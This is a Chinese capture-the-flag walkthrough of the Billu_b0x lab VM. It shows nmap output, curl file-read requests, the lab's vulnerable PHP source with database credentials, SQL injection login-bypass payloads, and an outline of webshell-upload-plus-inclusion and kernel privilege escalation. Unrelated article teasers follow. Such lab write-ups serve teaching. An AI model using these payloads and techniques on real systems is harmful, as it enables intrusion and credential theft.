Billu_b0x

news2024/11/24 9:44:29

信息收集

#正常进行信息收集就好

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-18 22:07 CST
Nmap scan report for 192.168.182.142 (192.168.182.142)
Host is up (0.00073s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /test.php: Test page
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
MAC Address: 00:0C:29:A9:EF:A9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 31.10 seconds
                                                                    

只开放了两个端口,分别是22端口和80端口。貌似存在一个test.php测试页面!突破点就是在80端口上了,一旦找到用户名和密码,就可进行ssh登录尝试。

渗透测试

首页是这样的!看到提示可能是存在sql注入? 这里进行了测试,发现貌似并没有sql注入漏洞!

看看test测试页面是什么:

哦?这里出现了参数file,这个file参数的值还是路径! 那么很可能就是文件包含漏洞!

利用curl进行测试:

确定任意文件读取的漏洞!尝试读取shadow文件!

没有权限读取!既然这样的话,看看都存在什么文件吧,进行目录爆破:

下面就是依次看看这些文件都是什么作用!

add.php

利用任意文件读取漏洞,读取这个文件的源码:

<?php
  echo '<form  method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name=image>
        <input type=text name=name value="name">
        <input type=text name=address value="address">
        <input type=text name=id value=1337 >
    <input type="submit" value="upload" name="upload">
</form>';
?>

C

这个界面打开是空白的,所以我们尝试直接读取这个文件里面的内容!

curl -d "file=c.php" http://192.168.182.142/test.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }
?>

发现数据库的账号和密码!!

billu   b0x_billu

in

phpmy

数据库!直接使用上面的数据库账号和密码进行登录即可!

在auth表里面找到了网站的登录账号和密码!

尝试直接登录网站!

panel.php

成功登录网站之后,便来到了panel界面!这个界面可以上传文件:

可以上传文件!来到了这里我就开始了上传,发现在上传的时候,只能上传png jpg gif文件,一直绕过,发现绕不过去,当前的php版本信息是5.3.10 小于5.4版本,尝试使用%df来进行绕过,但是发现并不能绕过!

这里就糊涂了,没通过任意文件读取,去看看panel文件的源码是什么,而是转到了ssh上面,尝试无果!

回想起来当前的页面,于是就看了下源码!

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
                header('Location: index.php', true, 302);
                exit();

}



echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
        unset($_SESSION['logged']);
        unset($_SESSION['admin']);
        header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
        <option value="add">Add User</option>
</select> 

 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
        $dir=getcwd();
        $choice=str_replace('./','',$_POST['load']);

        if($choice==='add')
        {
                include($dir.'/'.$choice.'.php');
                        die();
        }

        if($choice==='show')
        {
        
                include($dir.'/'.$choice.'.php');
                die();
        }
        else
        {
                include($dir.'/'.$_POST['load']);
        }

}


if(isset($_POST['upload']))
{

        $name=mysqli_real_escape_string($conn,$_POST['name']);
        $address=mysqli_real_escape_string($conn,$_POST['address']);
        $id=mysqli_real_escape_string($conn,$_POST['id']);

        if(!empty($_FILES['image']['name']))
        {
                $iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
        $r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
        $image=array('jpeg','jpg','gif','png');
        if(in_array($r,$image))
        {
                $finfo = @new finfo(FILEINFO_MIME); 
        $filetype = @$finfo->file($_FILES['image']['tmp_name']);
                if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
                                {
                                        if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
                                                         {
                                                          echo "Uploaded successfully ";
                                                          $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
                                                         mysqli_query($conn, $update);
                                                          
                                                        }
                                }
                        else
                        {
                                echo "<br>i told you dear, only png,jpg and gif file are allowed";
                        }
        }
        else
        {
                echo "<br>only png,jpg and gif file are allowed";

        }
}


}

?>

发现这个页面存在文件包含漏洞!只要存在continue参数和load参数即可进行文件包含了!因此continue的参数值 为 任意,但是load参数的值是我们的马子的地址就行!(那就好了 我们不需要直接传php的马了 穿图片马就行了)

直接在panel里面复制图片马的地址:

成功执行我们的代码!接下来就是生成php的反弹shell 的马,再利用文件包含漏洞进行getshell!

提权

直接利用kali中自带的反弹shell的脚本进行getshell了!

拿到初始的shell之后,查看内核信息,这个版本之前遇到过很经典的内核漏洞!

利用

攻击机上起php服务,利用靶机进行下载!

补充

其实我们在首页就已经提示我们说“Show me your SQLI skills” 但是我们并没有找到相关sql注入的漏洞!既然存在任意文件读取漏洞,那么我们就可以利用他来读取index.php的内容!

<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
        $_SESSION['logged']='';

}

if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{

        echo "you are logged in :)";
        header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> 
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
        $uname=str_replace('\'','',urldecode($_POST['un']));
        $pass=str_replace('\'','',urldecode($_POST['ps']));
        $run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
        $result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
           echo "You are allowed<br>";
           $_SESSION['logged']=true;
           $_SESSION['admin']=$row['username'];
           
         header('Location: panel.php', true, 302);
   
}
else
{
        echo "<script>alert('Try again');</script>";
}

}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";

?>

然后我们便可以找到三个关键的sql注入的过滤语句:

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

整个过滤是针对单引号进行的过滤!

我们只需要输入:

select * from auth where pass='\'and uname='or 1=1-- \';
select * from auth where pass='\'and uname='or 1=1#';

这里的整体的思路是这样的:当我们输入“\”的时候,其实在select的语句中,是转义字符的意思,那么我们针对select * from auth where pass='\'and uname='or 1=1-- \'; 来说就是pass=' 这个单引号和uname='的引号闭合!!!(\'and uname=)括号里面的内容就是pass的内容! 然后后面的or 1=1以及-- 注释使得我们能够成功的登录到系统里面!

登陆进行就正常操作即可了!

这里还有一个知识点就是phpmyadmin的默认配置文件名字:config.inc.php 默认的路径就是在phpmyadmin下面!

既然这里利用dirsearch发现了路径:phpmy 那么猜测这个路径下面可能存在着config.inc.php文件!

这里确实读取到了这个文件!里面还有root的账号和密码!!直接ssh登录即可!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1297241.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

mybatis的理解(下)(注解开发)

http://t.csdnimg.cn/kcPCy log4j(日志的配置) http://t.csdnimg.cn/IWa9H mybatis的理解(上)(包括xml配置信息进行CRUD) http://t.csdnimg.cn/weXLx mybatis的理解(中)(Mapper代理开发) 首先我们看一下项目结构 注解进行CRUD,其实和xml文件配置一样&#xff0c;只不过…

ChatGPT新媒体运营神器:轻松驾驭内容创作与传播

文章目录 1. 内容创作2. 社交媒体管理3. 用户互动与客户服务 《巧用ChatGPT轻松玩转新媒体运营》内容简介作者简介目录前言/序言本书内容本书特色本书读者对象获取方式 随着互联网的高速发展&#xff0c;新媒体已经成为了人们获取信息、交流思想的重要渠道。在这个信息爆炸的时…

KNN朴素贝叶斯(根据已知推测未知)

KNN&#xff08;哲学思想&#xff1a;物以类聚&#xff0c;人以群分&#xff09; KNN算法原理及示例1&#xff1a; 向量化 画点&#xff0c;计算欧式距离&#xff1a; 朴素贝叶斯&#xff08;数学工具&#xff1a;贝叶斯公式&#xff09; 1.数学原理&#xff1a; 2.一道大题&…

HTML如何使用图片链接

文章目录 图片链接的使用常见图片类型PNGJPGGIFBMP 图片链接的使用 在 HTML 中&#xff0c;图像由 标签定义。 是空标签&#xff0c;意思是说&#xff0c;它只包含属性&#xff0c;并且没有闭合标签。 语法&#xff1a; <img src图片路径">title“鼠标悬浮在图片上…

五月天“假唱”争议持续升温,歌迷期待真实音符背后的真实交代

在12月3日的夜晚&#xff0c;“五迷”们心中的星辰仿佛黯淡了几分。在社交媒体上&#xff0c;关于五月天演唱会假唱的争论愈演愈烈&#xff0c;歌迷们的心情变得异常复杂。他们愤怒&#xff0c;是因为自己的偶像受到了质疑&#xff1b;他们伤心&#xff0c;是因为可能的假唱让他…

云LIS实验室信息管理系统源码——实验室信息管理解决方案

云LIS&#xff08;Cloud Laboratory Information System&#xff09;是一种为区域医疗提供临床实验室信息服务的计算机应用程序&#xff0c;其主要功能是协助区域内所有临床实验室相互协调并完成日常检验工作&#xff0c;对区域内的检验数据进行集中管理和共享&#xff0c;通过…

基于Springboot+mybatis+mysql+jsp招聘网站

基于Springbootmybatismysqljsp招聘网站 一、系统介绍二、功能展示四、其他系统实现五、获取源码 一、系统介绍 项目类型&#xff1a;Java EE项目 项目名称&#xff1a;基于SPringBoot的照片网站 项目架构&#xff1a;B/S架构 开发语言&#xff1a;Java语言 前端技术&…

react Hooks(useEffect)实现原理 - 简单理解

useEffect 语法&#xff1a; useEffect(setup, dependencies?) 含义: useEffect 是一个 React Hook&#xff0c;它允许你 将组件与外部系统同步。 useEffect 源码简单理解 一、mountEffect 和 upadateEffect useEffect 与其它 hooks 一样分为 mountEffect 和 upadateEffec…

面试题之Docker篇

1、Docker 是什么&#xff1f; Docker一个开源的应用容器引擎&#xff0c;是实现容器技术的一种工具&#xff0c;让开发者可以打包他们的应用以及环境到一个镜像中&#xff0c;可以快速的发布到任何流行的操作系统上。 2、Docker的三大核心是什么? 镜像&#xff1a;Docker的镜…

Plantuml之类图语法介绍(十六)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

如何给Linux硬盘分区?

在Windows操作系统中&#xff0c;磁盘分区是将物理地址分开&#xff0c;再在分区上建立目录。Linux正好相反&#xff0c;是先有目录&#xff0c;再将物理地址映射到目录中。在Linux操作系统中&#xff0c;所有路径都是从根目录开始的。那么如何给Linux硬盘分区呢&#xff1f; L…

JavaScript 条件语句之switch

if..else虽然有多条路选择&#xff0c;但是代码读起来会很累人&#xff0c;说白了就是使用switch来简化if else表达式。 语法会有switch关键字&#xff0c;case关键字&#xff0c;以及break关键字。需要注意的是&#xff0c;每个case代码块内部的break语句不能少&#xff0c;否…

1.查看表的基本结构,表的详细结构和修改表名

查看表的基本结构,表的详细结构和修改表名 1.查看数据表基本结构 有强迫症或健忘症的小伙伴们在建好数据库和表以后&#xff0c;通常会怀疑自己刚才是不是敲错了&#xff0c;怎么办&#xff1f;如果不是使用图形界面是不是就没法查看啦&#xff1f; 不存在的&#xff0c;这就…

面向对象中的单例模式

1、什么是设计模式 设计模式就是前人根据实际的问题提出的问题解决方案&#xff0c;我们把这种就称之为设计模式。 2、单例模式 单例模式是一种常见的设计模式&#xff01; 所谓的设计模式&#xff0c;不是一种新的语法&#xff0c;而是人们在实际的应用中&#xff0c;面对…

JVM简单了解内存溢出

JVM oracle官网文档&#xff1a;https://docs.oracle.com/en/java/javase/index.html 什么是JVM JVM(Java Virtual Machine)原名Java虚拟机&#xff0c;是一个可以执行Java字节码的虚拟计算机。它的作用是在不同平台上实现Java程序的跨平台运行&#xff0c;即使在不同的硬件…

基于ssm的彩妆小样售卖商城的设计与实现论文

摘 要 随着科学技术的飞速发展&#xff0c;各行各业都在努力与现代先进技术接轨&#xff0c;通过科技手段提高自身的优势&#xff1b;对于彩妆小样售卖商城当然也不能排除在外&#xff0c;随着网络技术的不断成熟&#xff0c;带动了彩妆小样售卖商城&#xff0c;它彻底改变了过…

《ReactJS实践入门》:引领JavaScript前端开发的革新之旅

在当今的软件开发世界中&#xff0c;ReactJS无疑是最为引人注目的JavaScript库之一。对于初学者来说&#xff0c;如何深入理解并掌握这一强大的前端工具&#xff0c;进而应用到实际开发中&#xff0c;一直是他们所面临的问题。而《ReactJS实践入门》一书&#xff0c;正是为了解…

解决Unity打包Apk卡在calling IPostGenerateGradleAndroidProject callbacks

防盗镇楼 本文地址:https://superliii.blog.csdn.net/article/details/134820215 问题 好烦,又双叒卡BUG,在解决此问题的10多个小时里面鬼知道我经历了什么… 构建APK卡在calling IPostGenerateGradleAndroidProject callbacks 好不容易搜到个极其隐蔽的帖子,说删C:\Users\…

单片机双机通信控制跑马灯

实验要求 两个单片机各驱动8个LED灯&#xff0c;构成两个跑马灯&#xff0c;要求甲单片机LED的点亮方式是从上至下&#xff0c;首先是最上面第一个点亮、其次是前两个点亮、其次是前三个点亮……直至8个灯全部点亮&#xff0c;8个灯全部灭&#xff0c;重复这个过程&#xff0c…

基于ssm校园短期闲置资源置换平台源码和论文

idea 数据库mysql5.7 数据库链接工具&#xff1a;navcat,小海豚等 环境&#xff1a; jdk8 tomcat8.5 开发技术 ssm 基于ssm校园短期闲置资源置换平台源码和论文755 摘要 校园短期闲置资源置换平台是校园短期闲置资源置换必不可少的一个部分。在校园短期闲置资源置换的整个过程…